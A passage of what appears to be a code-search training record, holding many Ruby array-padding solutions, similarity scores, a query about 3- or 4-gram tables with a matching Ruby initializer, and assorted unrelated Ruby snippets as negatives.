0\n\t\t\n\t\tarray_modified = array.map { |x| x}\n\n\telse\n\t\tarray_modified = array.map { |x| x}\n\n\t\t(min_size - array_modified.length).times {\n\n\t\t\t\tarray_modified.push(value)\n\t\t}\n\n\t\treturn array_modified\n\n\tend\n \nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n new_array = array\n x = array.length\n\n def greater?(x, min_size)\n if x >= min_size\n return true\n else\n return false\n end\n end\n\n if greater?(x, min_size) ||\n min_size.times do |x|\n new_array.push(array[x])\n end\n return new_array\n\n else\n min_size.times do |x|\n if array[x] == nil\n self.push(value)\n else\n new_array.push(array[x])\n end\n end\n return new_array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length < min_size \n \tarray.push(value)\n else \n return array \nend \t\nend", "def pad!(array, min_size, value = nil)\n if min_size==0\n return array\n else\n num_things=min_size-array.length\n num_things.times do\n array << value\n end\n end\n array\nend", "def pad(array, min_size, value = nil)\n array_new = [ ]\n array.each do |x|\n array_new.push(x)\n end\n while array_new.length < min_size\n array_new.push(value)\n end\n return array_new\nend", "def pad(array, min_size, value = nil)\n array_new = [ ]\n array.each do |x|\n array_new.push(x)\n end\n while array_new.length < min_size\n array_new.push(value)\n end\n return array_new\nend", "def pad!(array, min_size, value = nil) #destructive\n difference = (min_size - array.length)\n difference.times {\n array << value}\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n array_size = array.size\n until array_size >= min_size\n array << value\n array_size += 1\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n while array.length < min_size\n array << value\n end\n array\nend", "def pad!(array, min_size, value = nil) #destructive\n array << value while min_size > array.length\n array\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n else\n for i in array.length...min_size\n array[i] = value\n end\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n while array.length < min_size\n array.push(value)\n end\n array\nend", "def pad!(array, min_size, value = nil)\n\tif min_size <= array.length\n\t\treturn array\n\telse\n\t\twhile min_size - array.length > 0\n\t\t\tarray << value\n\t\tend\n\t\treturn array\n\tend\nend", "def pad(array, min_size, value = nil) \n arr_len = array.length\n array_copy = Array.new(array)\n\n if arr_len < min_size \n padding_size = min_size - arr_len\n\n padding_size.times do \n array_copy.push(value) \n end \n end \n\n return array_copy\nend", "def pad!(array, min_size, value = nil) #destructive\n size = array.length\n if min_size > size\n additions = min_size - size\n additions.times do\n array.push(value)\n end\n end\n # Your code here\n return array\nend", "def pad(array, min_size, value = nil) #non-destructive\n new_array = [] + array\n while new_array.length < min_size\n new_array << value\n end\n new_array\nend", "def pad!(array, min_size, value = nil) #destructive\n diff = min_size - array.length\n times = 0 if diff < 0\n diff.times do\n array << value\n end\n array\nend", "def pad(array, min_size, value = nil) #non-destructive\n arrayCopy = array.dup\n\n if arrayCopy.length >= min_size\n return arrayCopy\n\n else\n while arrayCopy.length < min_size\n arrayCopy[arrayCopy.length] = value\n # p arrayCopy\n end\n return arrayCopy\n end\nend", "def pad(array, min_size, value = nil) \n arr_len = array.length\n array_copy =Array.new(array)\n\n if arr_len < min_size \n padding_size = min_size - arr_len\n\n padding_size.times do \n array_copy.push(value) \n end \n end \n\n return array_copy\nend", "def pad!(array, min_size, value = nil) #destructive\n array << value while array.length < min_size\n array\nend", "def pad_array(array, min_size, pad_with)\nend", "def pad!(array, min_size, value = nil)\n while array.length < min_size\n array.push(value)\n end\n return array\nend", "def pad!(array, min_size, value = nil)\n while array.length < min_size\n array.push(value)\n end\n return array\nend", "def pad!(array, min_size, value = nil)\n while array.length < min_size\n array.push(value)\n end\n return array\nend", "def pad!(array, min_size, value = nil)\n while array.length < min_size\n array.push(value)\n end\n return array\nend", "def pad!(array, min_size, value = nil)\n while array.length < min_size\n array.push(value)\n end\n array\nend", "def pad!(array, min_size, value = nil) \n array.fill(value, array.length...min_size) unless min_size <= array.length\n array\nend", "def pad!(array, min_size, value = nil)\n\treturn array if min_size <= array.length\n\tneeded_pads = min_size - array.length\n\tpadding = Array.new(needed_pads, value)\n\tpadding.each { |item| array << item }\n\treturn array\nend" ]
[ "0.83708715", "0.83378047", "0.8288198", "0.8265814", "0.82154775", "0.8205737", "0.8202612", "0.81957716", "0.8183907", "0.8183643", "0.8180579", "0.8177256", "0.8177032", "0.8170709", "0.8166718", "0.8157134", "0.8150498", "0.8149299", "0.81483346", "0.8144131", "0.8142917", "0.8137212", "0.81347007", "0.81343853", "0.81296307", "0.81263155", "0.8119346", "0.8105778", "0.8103875", "0.8101892", "0.8101781", "0.8098041", "0.809273", "0.80901027", "0.80899215", "0.8089906", "0.8082255", "0.8081996", "0.80737925", "0.8072641", "0.80699545", "0.8068135", "0.8067348", "0.80631465", "0.80558693", "0.8054129", "0.8053994", "0.8051477", "0.80495375", "0.8048063", "0.8045449", "0.8043819", "0.80425084", "0.8036334", "0.80334944", "0.8031564", "0.8031564", "0.802613", "0.8021635", "0.80169874", "0.80098593", "0.80055285", "0.80048513", "0.80028576", "0.8000057", "0.7999116", "0.79927206", "0.7991065", "0.79831505", "0.7971465", "0.7952313", "0.79507124", "0.79505235", "0.794924", "0.794606", "0.7944689", "0.7940713", "0.7940713", "0.79269284", "0.7915458", "0.79020673", "0.7901575", "0.7898273", "0.78920984", "0.78749466", "0.7862089", "0.78575695", "0.78572583", "0.7850592", "0.7846911", "0.7841963", "0.7834245", "0.7828949", "0.7810824", "0.7810824", "0.7810824", "0.7810824", "0.78097564", "0.780574", "0.77897745" ]
0.8226026
4
either 3 or 4 gram
def initialize (type) @type = type if @type == 3 @@types = ["#{@@config.get_value('correct_tables')}_3grams"] # The tables we wish to query (no h table) elsif @type == 4 @@types = "#{@@config.get_value('correct_tables')}_4grams" # The tables we wish to query (no h table) end @database = @@config.get_value('mysql_database') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def grams\n gram_equivalent / amount\n end", "def gram? = unit == 'gram'", "def gram_schmidtR\n gram_schmidt[1]\n end", "def dynamic_phrase_4\r\n\r\n # Verse 1: **no more bottles**\r\n if one_bottle?\r\n \"no more bottles\"\r\n # Verse 0: **99 bottles**\r\n elsif zero_bottles?\r\n \"99 #{bottle_s}\"\r\n else\r\n # Verse 2: **bottle**\r\n # Verse x: **x bottles**\r\n @bottle_quantity -= 1\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def dynamic_phrase_3\r\n one_it = 'one'\r\n\r\n # Verse 0: **Go to the store and buy some more**\r\n if zero_bottles?\r\n 'Go to the store and buy some more'\r\n else\r\n # Verse 1: **it**\r\n if one_bottle?\r\n one_it = 'it'\r\n end\r\n # Verse x: **Take one down and pass it around**\r\n \"Take #{one_it} down and pass it around\"\r\n end\r\n end", "def qML(ngram)\n # if the numerator count is zero, return zero\n if not @counts.include?(ngram) then return 0 end\n\n # extract a denominator ngram based on the size of the numerator ngram\n dgram = nil\n case ngram.size\n when 3\n # get a bigram\n dgram = ngram[0..1]\n when 2\n # get a unigram\n dgram= ngram[0..0]\n end\n\n if dgram\n # if the denominator count would be zero, return 0\n if not @counts.include?(dgram) then return 0 end\n return @counts.fetch(ngram, 0).to_f / @counts.fetch(dgram, 0).to_f\n else\n # if the denominator count would be zero, return 0\n if @word_count == 0 then return 0 end\n return @counts.fetch(ngram, 0).to_f / @word_count.to_f\n end\n\n rescue ZeroDivisionError\n 0\n end", "def gram_schmidtQ\n gram_schmidt[0]\n end", "def m3; 3 end", "def to_grams wt\n return nil if wt.nil? or wt.length ==2\n return (wt[0]*1000+wt[1]+wt[2]/1000)\n end", "def guesses_allowed\n\t\tif @word.length > 12 \n\t\t\t 8\n\t\telsif @word.length <= 12 && @word.length > 8\n\t\t\t 5\n\t\telse\n\t\t\t 4\n\t\tend\t\t\t\n\tend", "def polly_wanna word\n word*3\n end", "def polly_wanna word\n word * 3\nend", "def polly_wanna word\n word * 3\nend", "def gramos\r\n grams = 0\r\n @lista_alimentos.each do |i|\r\n grams += 100\r\n end\r\n return grams\r\n end", "def pML(ngram, discount=0)\n # if the numerator count is zero, return zero\n if not @counts.include?(ngram) then return 0 end\n\n # extract a denominator ngram based on the size of the numerator ngram\n dgram = nil\n case ngram.size\n when 3\n dgram = ngram[0..1]\n when 2\n dgram= ngram[0..0]\n end\n\n result = 0\n if dgram\n # if the denominator count would be zero, return 0\n if not @counts.include?(dgram) then return 0 end\n # discount the numerator if needed\n result = (@counts.fetch(ngram, 0).to_f - discount) / @counts.fetch(dgram, 0).to_f\n else\n if @word_count == 0 then return 0 end\n # discount the numerator if needed\n result = (@counts.fetch(ngram, 0).to_f - discount) / @word_count.to_f\n end\n\n# puts \"#{ngram.inspect} #{result}\"\n return result\n\n rescue ZeroDivisionError\n 0\n end", "def microgram? = unit == 'microgram'", "def polly_wanna(word)\n word * 3\nend", "def polly_wanna(word)\n return word*3\nend", "def polly_wanna word\n word*3\nend", "def polly_wanna (word)\n word*3\nend", "def dynamic_phrase_1\r\n\r\n # Verse 1: **1 bottle**\r\n # Verse 0: **No more bottles**\r\n if zero_bottles?\r\n \"No more bottles\"\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n else\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def phrase_length\n 1\n end", "def score3\r\n score1ot\r\n end", "def m3\t\t\t\t\t\t\t\n\t\t\t\t\t'em3'\n\t\t\t\tend", "def m3\t\t\t\t\t\t\t\n\t\t\t\t\t'em3'\n\t\t\t\tend", "def m3\t\t\t\t\t\t\t\n\t\t\t\t\t'em3'\n\t\t\t\tend", "def m3\t\t\t\t\t\t\t\n\t\t\t\t\t'em3'\n\t\t\t\tend", "def _level4\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_language)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_infix)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_level3)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_level4 unless _tmp\n return _tmp\n end", "def dluralizer(noun,num)\n if num == 1\n p '#{num} #{noun}'\n elsif num > 1 && noun == \"sheep\"\n p '#{num} #{noun}'\n elsif num > 1 && noun == 'goose'\n p '#{num} geese'\n elsif num > 1 && noun == 'child'\n p '#{num} children'\n elsif num > 1 && noun == 'person'\n p '#{num} people'\n elsif num > 1\n p \"#{num} #{noun}s\"\nend", "def four_of_a_kind\n [6.♠, Q.♡, Q.♠, Q.♣, Q.♢]\n end", "def dynamic_phrase_2\r\n # Verse 0: **no more bottles**\r\n if zero_bottles?\r\n \"no more #{bottle_s}\"\r\n else\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def ngram_analysis(str, n)\r\n # use a hash to store ngram - frequency mapping\r\n freq = Hash.new\r\n bigram = \"\"\r\n count = n-1\r\n i = 0\r\n\r\n # get the first ngram\r\n for i in 0..count\r\n bigram[i] = str[i]\r\n end\r\n\r\n freq[bigram] = 1\r\n\r\n str.each_char do |char|\r\n if i>=n then\r\n\r\n # bigram, trigram or quadrigram?\r\n bigram[0] = bigram[1]\r\n if n==2 then\r\n bigram[1] = char\r\n elsif n==3 then\r\n bigram[1] = bigram[2]\r\n bigram[2] = char\r\n elsif n==4 then\r\n bigram[1] = bigram[2]\r\n bigram[2] = bigram[3]\r\n bigram[3] = char\r\n end\r\n\r\n # updates values in the hash\r\n if freq.key?(bigram)==false then\r\n freq[bigram] = 1\r\n else \r\n freq[bigram] = freq[bigram]+1\r\n end\r\n\r\n end\r\n i = i + 1\r\n end\r\n\r\n # sort and print\r\n freq = freq.sort_by {|_key, value| value}.reverse.to_h\r\n i=0\r\n puts \"N-gram Analysis Results:\"\r\n freq.each do |key, value|\r\n if value!=1 && i<20 then\r\n puts key.to_s+\"\\t\"+value.to_s\r\n end\r\n i = i + 1\r\n end\r\nend", "def get_word_value(word)\n word_value = word.length == 4 ? 1 : word.length\n if pangram?(word)\n word_value += 7\n end\n word_value\n end", "def solve_zero_vs_six_vs_nine\n return if @arr[1].nil? || @arr[4].nil?\n\n #p \"1,4: #{@arr[1]},#{@arr[4]}\"\n\n @words.filter{|x| x.length == 6 && @hash[x].nil?}.each{|w|\n if @arr[4].chars.all?{|c| w.chars.include?(c)}\n solved(9, w)\n elsif @arr[1].chars.all?{|c2| w.chars.include?(c2)}\n solved(0, w)\n else\n solved(6, w)\n end\n }\n end", "def three_and_5(number)\r\n \r\nend", "def difficulty_weighting(w3)\n puts \"And finally, how important is it for a course to be difficult vs. easy? (high, medium, low)\"\n input = gets.strip\n if input == \"high\"\n @weight_3 = 3\n elsif input == \"medium\"\n @weight_3 = 2\n elsif input == \"low\"\n @weight_3 = 1\n else\n length_weightings\n end\n end", "def always_three (numberi)\n \n (((((numberi+5)*2)-4)/2)-numberi)\n \nend", "def mis_ramos\n\n\tend", "def nucleotide_score\n {\n A: 0,\n C: 0,\n G: 0,\n T: 0\n }\nend", "def nucleotide_score\n {\n A: 0,\n C: 0,\n G: 0,\n T: 0\n }\nend", "def pluarlizer(num, noun)\n if noun == \"sheep\"\n p \"#{num} Sheep\"\n elsif noun == \"species\"\n p \"#{num} Species\"\n elsif num == 1 && noun == \"children\"\n p \"#{num} Child\"\n elsif num >= 2 && noun == \"children\"\n p \"#{num} Children\"\n elsif num > 1 && noun == \"geese\"\n p \"#{num} Geese\"\n elsif num == 1 && noun == \"geese\"\n p \"#{num} Goose\"\n elsif num >= 2 && noun == \"geese\"\n p \"#{num} Geese\"\n elsif num == 1 && noun == \"people\"\n p \"#{num} Person\"\n elsif num >= 2 && noun == \"people\"\n p \"#{num} People\"\n elsif num > 1\n p \"#{num} #{noun}s\"\n else\n p \"Something is wrong\"\n end\nend", "def get_score_for_word(word)\n word.length >= 3 ? word.length : 0\n end", "def catch_phrase\n [\n [\"Фирма1\", \"Суперфирма\", \"Фирма3\", \"ПанСамСклепав\"].rand,\n [\"24 часа\", \"24/7\", \"круглосуточно\", \"3 года на рынке\"].rand,\n [\"доступно\", \"быстро\", \"надежно\"].rand\n ].join(' ')\n end", "def max_of_three(term1, term2, term3)\n\n small = term2\n if term1 > small\n small = term1\n end\n \n if small < term3\n small = term3\n end\n return small\nend", "def always_three(number)\n(((number + 5) * 2 - 4) / 2 - number).to_s\nend", "def polly_wanna(word)\n word*3\nend", "def polly_wanna(word)\n word*3\nend", "def grams_per_skein\n data[:grams_per_skein]\n end", "def kilogram? = unit == 'kilogram'", "def triangle(num1, num2, num3)\n if (num1 + num2 + num3) != 180\n return :invalid \n elsif num1 == 0 || num2 == 0 || num3 == 0 \n return :invalid\n elsif num1 > 90 || num2 > 90 || num3 > 90\n return :obtuse \n elsif num1 == 90 || num2 == 90 || num3 == 90\n return :right \n else \n :acute\n end\nend", "def mathphrase(integer)\n phrase = [NUMBERS.sample]\n integer.times do |num|\n phrase << OPERATORS.sample << NUMBERS.sample\n end\n phrase.map! do |word| \n if word == 'divided'\n 'divided by'\n else\n word\n end\n end\n phrase.join(\" \")\nend", "def multiple_of_magnitude_in_words\n [(self / magnitude).in_words, magnitude_word].join(' ')\n end", "def str3; end", "def str3; end", "def wtf_pyramid\n\tputs \"*\" * 50\n\tputs\"Salut, Bienvenue dans ma super pyramide\"\n\tputs \"Nous allons construire une moitié d'une pyramide\"\n\tputs \"Combien d'etage veux-tu?\"\n\tprint \"||>\"\n\n\tetage = 0\n\n\twhile etage % 2 == 0\n\t\tputs \"Veuiller saisir un nombre impaire :\"\n\t\tprint \"||>\"\n\t\tetage = gets.chomp.to_i \n\tend\n\n\tputs \" Voici la pyramide :\"\n\n\tbase = etage + (etage-1)\n base1 = (base-1)/2 + 1\n base2 = (etage+1)/2\n base3 = (etage-1)/2\n i = 1\n\n # Pyramide d'en haut\n\tbase2.times do \n\n\t\tbase1.times do\n\t\t\tprint \" \"\n\t\tend\n\n\t\ti.times do\n\t\t\tprint \"#\"\n\t\tend\n\n\t\ti+= 2\n\t\tbase1 -= 1\n\t\tputs \" \"\n\n\tend\n\n\t# pyramide d'en bas\n\ti-= 2\n\tbase1 += 1\n\n\tbase3.times do\n\n\t\tbase1 += 1\n\t\ti-= 2\n\n\t\tbase1.times do\n\t\t\tprint \" \"\n\t\tend\n\n\t\ti.times do\n\t\t\tprint \"#\"\n\t\tend\n\n\t\tputs \" \"\n\n\tend\t\nend", "def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end", "def triangular_word?(word)\n triangle(count(word))\n\nend", "def triangle(len1, len2, len3)\n lengths = [len1, len2, len3].sort\n return :invalid unless valid_triangle?(lengths)\n return :equilateral if lengths.all?(lengths[0])\n return :scalene if lengths.uniq == lengths\n return :isosceles\nend", "def q(trigram)\n # multiply by lambda weights\n return @weights[:tri] * qML(trigram) + \n @weights[:bi] * qML(trigram[1..2]) +\n @weights[:uni] * qML(trigram[2..2])\n end", "def the3(number)\n english = ''\n digits = {'0' => '', '1' => 'one', '2' => 'two', '3' => 'three', '4' => 'four', '5' => 'five',\n '6' => 'six', '7' => 'seven', '8' => 'eight', '9' => 'nine'}\n for i in 0..2\n case i\n when 0 then english += digits[number[i]] + (number[i] == '0' ? '' : ' hundred ')\n when 1 then english += number[i] == '0' ? '' : the2(number[1..2])\n when 2 then english += number[i - 1] == '1' ? '' : digits[number[i]]\n end\n end\n return english\nend", "def expand(grammar, non_term = \"<start>\")\r\n # TODO: your implementation here\r\n if grammar[non_term]\r\n gramArr = grammar[non_term]\r\n elsif grammar[non_term.downcase]\r\n gramArr = grammar[non_term.downcase]\r\n elsif grammar[non_term.upcase]\r\n gramArr = grammar[non_term.upcase]\r\n elsif grammar[non_term.capitalize]\r\n gramArr = grammar[non_term.capitalize]\r\n end\r\n\r\n result_s = \"\"\r\n\r\n r = rand(gramArr.size)\r\n i = 0\r\n while (i < gramArr[r].size)\r\n if is_non_terminal?(gramArr[r][i])\r\n result_s += expand(grammar, gramArr[r][i])\r\n else\r\n result_s = result_s + gramArr[r][i] + \" \"\r\n end\r\n i += 1\r\n end\r\n result_s.gsub! /\\s\\./, \".\"\r\n result_s.gsub! /\\s\\,/, \",\"\r\n result_s.gsub! /\\s\\!/, \"!\"\r\n result_s.gsub! /\\s\\'/, \"'\"\r\n return result_s\r\nend", "def pling_plang_plong num\n\n if num % 3 == 0\n print \"Pling \"\n end\n\n if num % 5 == 0\n print \"Plang \"\n end\n\n if num % 7 == 0\n print \"Plong \"\n end\n\n if ((num % 7 != 0 && num % 5 != 0) && num % 3 != 0)\n return num.to_s\n end\nend", "def paras(text, q, aA, aB, aC, aD, pnum = 0)\n\tcommon_words = [\"the\", \"be\", \"of\", \"and\", \"a\", \"is\", \"to\", \"in\", \"he\", \"have\", \"it\", \"that\", \"for\", \"they\", \"I\", \"with\", \"as\", \"not\", \"on\", \"she\", \"at\", \"by\", \"this\", \"we\", \"you\", \"do\", \"but\", \"from\", \"or\", \"which\", \"one\", \"would\", \"all\", \"will\", \"there\", \"say\", \"who\", \"make\", \"when\", \"can\", \"more\", \"if\", \"no\", \"man\", \"out\", \"other\", \"so\", \"what\", \"time\", \"up\", \"go\", \"about\", \"than\", \"into\", \"could\", \"only\", \"these\", \"come\", \"these\", \"some\", \"then\", \"any\"] #, \"state\", \"only\", \"new\", \"year\", \"some\", \"take\", \"come\", \"these\", \"know\", \"see\", \"use\", \"get\", \"like\", \"then\", \"first\", \"any\", \"work\", \"now\", \"may\", \"such\", \"give\", \"over\", \"think\", \"most\", \"even\", \"find\", \"day\", \"also\", \"after\", \"way\", \"many\", \"must\", \"look\", \"before\", \"great\", \"back\", \"through\", \"long\", \"where\", \"much\", \"should\", \"well\", \"people\", \"down\", \"own\", \"just\", \"because\", \"good\", \"each\", \"those\", \"feel\", \"seem\", \"how\", \"high\", \"too\", \"place\", \"little\", \"world\", \"very\", \"still\", \"nation\", \"hand\", \"old\", \"life\", \"tell\", \"write\", \"become\", \"here\", \"show\", \"house\", \"both\"]\n\n\tnumberWords = [\"one\", \"two\", \"three\", \"four\", \"five\", \"six\", \"seven\", \"eight\", \"nine\", \"ten\", \"eleven\", \"twelve\", \"thirteen\", \"fourteen\", \"fifteen\", \"sixteen\", \"seventeen\", \"eighteen\", \"nineteen\", \"twenty\", \"thirty\", \"forty\", \"fifty\", \"sixty\", \"seventy\", \"eighty\", \"ninety\", \"hundred\", \"thousand\", \"million\", \"billion\", \"trillion\"] \n\tnumberWords = Regexp.union(numberWords)\n\n\taWords = []\n\taWords << aA << aB << aC << aD\t\n\tqWords = q.split(\" \")\n\tallWords = aWords + qWords\n \ttext = text.scan(/(\\<p\\>)(.*?)(\\<\\/p\\>)/m).map(&:join)[pnum]\n \twrittenNumbers = []\n\n \tputs \"allWords = \" + allWords.to_s\n\n\n\ttext.gsub!(/<\\/?[^>]*>/,\"\")\n\ttext.gsub!(/(&#160;)/,\"\")\n\ttext.gsub!(/(\\[\\d+\\])/,\"\")\n\twrittenNumbers = text.downcase.scan(/\\b#{numberWords}(?:(?:\\s+and\\s+|\\s+)#{numberWords})*\\b/i)\n\twrittenNumbers.concat text.scan(/\\b[\\d\\.*,*]+\\b/)\n\tputs \"writtenNumbers = \" + writtenNumbers.to_s\n\n\taWords.each do |i|\n\t\ti2 = i.gsub(/(\\?|\\.|\\,|\\!)/,\"\")\n\t\tif common_words.include?(i2) == false\n\t\t\ttext.gsub!(/\\b#{i2}\\b/i, orange(i2))\n\t\tend\n\tend\n\n\tqWords.each do |i|\n\t\ti2 = i.gsub(/(\\?|\\.|\\,|\\!)/,\"\")\n\t\tif common_words.include?(i2) == false\n\t\t\ttext.gsub!(/\\b#{i2}\\b/i, pink(i2))\n\t\tend\n\tend\t\t\n\n\twrittenNumbers.each do |wnum|\n\t\tif wnum.numberize != 0 \n\t\t\tputs \"wnum = \" + wnum.numberize.to_s\n\t\tend\n\t\tallWords.each do |qora|\n\t\t\tif qora.numberize != 0\n\t\t\t\tputs \"qora = \" + qora.numberize.to_s \n\t\t\tend \n\t\t\tif wnum.numberize < qora.numberize * 1.05 and wnum.numberize > qora.numberize * 0.95\n\t\t\t\ttext.gsub!(/\\b#{wnum.to_s}\\b/i, blue(wnum.to_s))\n\t\t\tend\n\t\tend\n\tend\n\treturn text\nend", "def mult()\n\n\n begin\n @ruleStack.push('mult')\n # dice.g:65:7: ( dice ( '*' dice | '/' dice )* )\n # dice.g:65:7: dice ( '*' dice | '/' dice )*\n\n #@following.push(FOLLOW_dice_in_mult100)\n dice()\n #@following.pop\n\n\n # dice.g:65:12: ( '*' dice | '/' dice )*\n #catch (:loop2) do\n \twhile true\n \t\talt2 = 3\n \t\tlook_ahead2_0 = input.look_ahead(1).token_type\n \t\tif look_ahead2_0 == 8 \n \t\t alt2 = 1\n \t\telsif look_ahead2_0 == 9 \n \t\t alt2 = 2\n\n \t\tend\n\n \t\tcase alt2\n \t\t\twhen 1\n \t\t\t # dice.g:66:5: '*' dice\n\n \t\t\t match(8, nil) # FOLLOW_8_in_mult108\n\n\n \t\t\t #@following.push(FOLLOW_dice_in_mult110)\n \t\t\t dice()\n \t\t\t #@following.pop\n\n\n\n \t\t\t a, b = @stack.pop, @stack.pop\n \t\t\t dbg \"\\nMultiply: #{b} * #{a}\"\n \t\t\t @stack.push(b * a)\n \t\t\t \n\n\n\n \t\t\twhen 2\n \t\t\t # dice.g:71:5: '/' dice\n\n \t\t\t match(9, nil) # FOLLOW_9_in_mult118\n\n\n \t\t\t #@following.push(FOLLOW_dice_in_mult120)\n \t\t\t dice()\n \t\t\t #@following.pop\n\n\n \t\t\t \n \t\t\t a, b = @stack.pop, @stack.pop\n \t\t\t dbg \"\\nDivide: #{b} / #{a}\"\n \t\t\t @stack.push(b / a)\n \t\t\t \n\n\n\n\n \t\t\telse\n \t\t\t\tbreak\n \t\t\t\t#throw :loop2\n \t\tend\n \tend\n #end\n\n\n\n\n rescue ANTLR::RecognitionException => e\n report_error(e)\n #raise e\n ensure\n @ruleStack.pop\n end\n\n end", "def k_num!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 47 )\n\n\n\n type = K_NUM\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 441:4: ( 'round' | 'aleatorio' | 'between' )\n # at line 441:4: ( 'round' | 'aleatorio' | 'between' )\n alt_14 = 3\n case look_14 = @input.peek( 1 )\n when 0x72 then alt_14 = 1\n when 0x61 then alt_14 = 2\n when 0x62 then alt_14 = 3\n else\n raise NoViableAlternative( \"\", 14, 0 )\n\n end\n case alt_14\n when 1\n # at line 441:5: 'round'\n match( \"round\" )\n\n\n when 2\n # at line 441:13: 'aleatorio'\n match( \"aleatorio\" )\n\n\n when 3\n # at line 441:25: 'between'\n match( \"between\" )\n\n\n end\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 47 )\n\n\n end", "def arith(b,opt=\"M\") return \"@SP\\nAM=M-1\\nD=M\\nA=A-1\\n\"+opt+\"=M\"+b+\"D\\n\" end", "def n_gramas\n for i in 2...8\n busca_n_gramas(i)\n end\n end", "def cigaret_tar\n Unitwise(0.00001, 'kilogram')\n end", "def score\n return 'love' if love?\n return \"fifteen\" if fifteen?\n return \"thirty\" if thirty?\n return \"forty\" if forty?\n return \"deuce\" if deuce?\n return \"advantage\" if advantage?\n return \"win\" if win?\n end", "def solution4(input)\n end", "def speak_to_grandma(input_phrase)\n if input_phrase == \"I LOVE YOU GRANDMA!\"\n \"I LOVE YOU TOO PUMPKIN!\"\n elsif input_phrase!=input_phrase.upcase && input_phrase!=\"I LOVE YOU GRANDMA!\"\n \"HUH?! SPEAK UP, SONNY!\"\n else input_phrase!=input_phrase.upcase \n \"NO, NOT SINCE 1938!\"\n end\nend", "def find_correct_triple(n, m)\n for i in pythag_triples(n)\n sides = i.split(',')\n sides.map! {|side| side.to_i }\n if m % sides.inject(:+) == 0\n if sides.inject(:+) == m\n puts \"This is a primitive triple.\"\n else\n puts \"Not a primitive triple.\"\n multiplier = 1000 / sides.inject(:+)\n sides.map! {|side| side*multiplier }\n end\n puts \"Here are the sides:\\n\", sides\n return sides.inject(:*)\n end\n end\n puts \"No triple adds to #{m}. Sorry!\"\nend", "def score3() score1et; end", "def word\n i = rand(78)\n if i <= 2\n \"ie\"\n elsif i <= 3\n \"au\"\n elsif i < 10\n v + c\n elsif i < 17\n c + v\n elsif i < 25\n v + c + v\n elsif i < 33\n c + v + c\n elsif i < 43\n v + c + v + c\n elsif i < 53\n c + v + c + v\n elsif i < 68\n v + c + v + c + v\n elsif i < 71\n c + v + c + v + c\n elsif i < 74\n v + c + v + c + v + c\n elsif i < 76\n c + v + c + v + c + v\n elsif i < 77\n v + c + v + c + v + c + v\n elsif i <= 78\n c + v + c + v + c + v + c\n end\nend", "def min_of_three(term1, term2, term3)\n\n small = term2\n if term1 < small\n small = term1\n end\n \n if small > term3\n small = term3\n end\n return small\nend", "def always_three_again(number)\n\tnumber = (((number + 5) * 2 - 4) / 2 - number).to_s\n\t\nend", "def apobec3gf(seq = \"\")\n seq.tr!(\"-\", \"\")\n seq_length = seq.size\n apobec_position = []\n control_position = []\n (0..(seq_length - 3)).each do |n|\n tri_base = seq[n,3]\n if tri_base =~ /G[A|G][A|G|T]/\n apobec_position << n\n elsif seq[n] == \"G\"\n control_position << n\n end\n end\n return [apobec_position,control_position]\nend", "def shownumbers_mand\n\t\tmult = @num1 * @num2 * @num3\n\t\tputs \"With Mandtory #{@num1} * #{@num2} * #{@num3} = #{mult}\"\n\tend", "def grader(score)\r\n return \"F\" if score < 0.6 || score > 1.0\r\n return \"D\" if score >= 0.6 && score < 0.7\r\n return \"C\" if score >= 0.7 && score < 0.8\r\n return \"B\" if score >= 0.8 && score < 0.9\r\n return \"A\" if score >= 0.9 && score < 1.0 \r\n \r\nend", "def pluralizerPlus(noun, num)\n if noun.match?(/goose|child|person/i) && num != 1\n noun.downcase === \"goose\" ? noun = \"geese\" : nil\n noun.downcase === \"child\" ? noun = \"children\" : nil\n noun.downcase === \"person\" ? noun = \"people\" : nil\n end\n if num > 1 && noun.match?(/geese|children|people/i)\n \"#{num} #{noun}\"\n elsif num > 1\n \"#{num} #{noun}s\"\n elsif num === 1\n \"#{num} #{noun}\"\n elsif num === 0 && noun.match?(/geese|children|people/i)\n \"zero #{noun}\"\n elsif num === 0\n \"zero #{noun}s\"\n else\n \"Please enter a whole number\"\n end\nend", "def pig_latin(word)\n if word.slice(0..1) == \"qu\"\n word = word.slice(1..word.length) + word.slice(0) + \"ay\" \n elsif word.slice(0) == \"a\" ||\n word.slice(0) == \"e\" ||\n word.slice(0) == \"i\" ||\n word.slice(0) == \"o\" ||\n word.slice(0) == \"u\"\n word += \"way\"\n elsif word.slice(1) == \"a\" ||\n word.slice(1) == \"e\" ||\n word.slice(1) == \"i\" ||\n word.slice(1) == \"o\" ||\n word.slice(1) == \"u\"\n word = word.slice(1..word.length) + word.slice(0) + \"ay\"\n elsif word.slice(2) == \"a\" ||\n word.slice(2) == \"e\" ||\n word.slice(2) == \"i\" ||\n word.slice(2) == \"o\" ||\n word.slice(2) == \"u\"\n word = word.slice(2..word.length) + word.slice(0..1) + \"ay\"\n else word.slice(3) == \"a\" ||\n word.slice(3) == \"e\" ||\n word.slice(3) == \"i\" ||\n word.slice(3) == \"o\" ||\n word.slice(3) == \"u\"\n word = word.slice(3..word.length) + word.slice(0..2) + \"ay\"\n end\n return word\nend", "def is_antigram? ()\n if (self.is_anagram? == \"These words are not anagrams\")\n @word1_letters.each do |letter|\n if (@word2_letters.include?(letter))\n return \"These words are not antigrams\"\n end\n end\n return \"These words 